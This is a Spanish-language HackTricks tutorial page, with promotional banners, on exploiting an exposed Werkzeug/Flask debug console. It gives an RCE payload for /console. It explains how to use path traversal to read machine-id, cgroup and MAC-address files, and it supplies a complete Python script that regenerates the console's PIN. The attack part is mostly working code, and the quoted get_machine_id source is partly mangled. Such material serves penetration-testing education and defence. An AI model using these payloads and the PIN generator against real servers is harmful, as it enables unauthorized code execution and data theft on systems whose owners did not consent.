9 KiB
Werkzeug / Flask Debug
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.
DragonJAR Security Conference es un evento internacional de ciberseguridad con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
{% embed url="https://www.dragonjarcon.org" %}
Consola RCE
Si el modo debug está activo, podrías intentar acceder a /console
y obtener RCE.
__import__('os').popen('whoami').read();
También hay varios exploits en internet como este o uno en metasploit.
Protegido por PIN - Path Traversal
En algunas ocasiones, el endpoint /console
va a estar protegido por un pin. Si tienes una vulnerabilidad de file traversal, puedes obtener toda la información necesaria para generar ese pin.
Exploit de PIN de Consola Werkzeug
Copiado del primer enlace.
Ver el mensaje de "consola bloqueada" de Werkzeug forzando la página de error de depuración en la app.
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
Localice la consola de depuración de Werkzeug vulnerable en la ruta vulnerable-site.com/console
, pero está bloqueada por un número PIN secreto.
Puede revertir el algoritmo que genera el PIN de la consola. Inspeccione el archivo __init__.py
de depuración de Werkzeug en el servidor, por ejemplo, python3.5/site-packages/werkzeug/debug/__init__.py
. Puede ver el repositorio de código fuente de Werkzeug para verificar cómo se genera el PIN, pero es mejor obtener el código fuente a través de una vulnerabilidad de recorrido de archivos ya que las versiones probablemente difieran.
Variables necesarias para explotar el PIN de la consola:
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
probably_public_bits
username
es el usuario que inició este Flaskmodname
es flask.appgetattr(app, '__name__', getattr(app.__class__, '__name__'))
es Flaskgetattr(mod, '__file__', None)
es la ruta absoluta deapp.py
en el directorio de flask (por ejemplo,/usr/local/lib/python3.5/dist-packages/flask/app.py
). Siapp.py
no funciona, intenta conapp.pyc
private_bits
-
uuid.getnode()
es la dirección MAC del ordenador actual,str(uuid.getnode())
es la expresión decimal de la dirección MAC. -
Para encontrar la dirección MAC del servidor, es necesario saber qué interfaz de red se está utilizando para servir la aplicación (por ejemplo,
ens3
). Si se desconoce, filtrar/proc/net/arp
para obtener el ID del dispositivo y luego filtrar la dirección MAC en/sys/class/net/<device id>/address
.
Convertir de dirección hexadecimal a representación decimal ejecutando en python, por ejemplo:
# Era 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
concatena los valores en/etc/machine-id
o/proc/sys/kernel/random/boot_id
con la primera línea de/proc/self/cgroup
después de la última barra (/
).
Código de get_machine_id()
```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_idif _machine_id is not None: return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""
machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue
if value: linux += value break
Containers share the same machine id, add some cgroup
information. This is used outside containers too but should be
relatively stable across boots.
try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass
if linux: return linux
On OS X, use ioreg to get the computer's serial number.
try:
</details>
Una vez todas las variables preparadas, ejecuta el script de exploit para generar el PIN de la consola Werkzeug:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
{% hint style="success" %} Si estás en una versión antigua de Werkzeug, intenta cambiar el algoritmo de hash a md5 en lugar de sha1. {% endhint %}
Referencias
DragonJAR Security Conference es un evento internacional de ciberseguridad con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
{% embed url="https://www.dragonjarcon.org" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de HackTricks y HackTricks Cloud.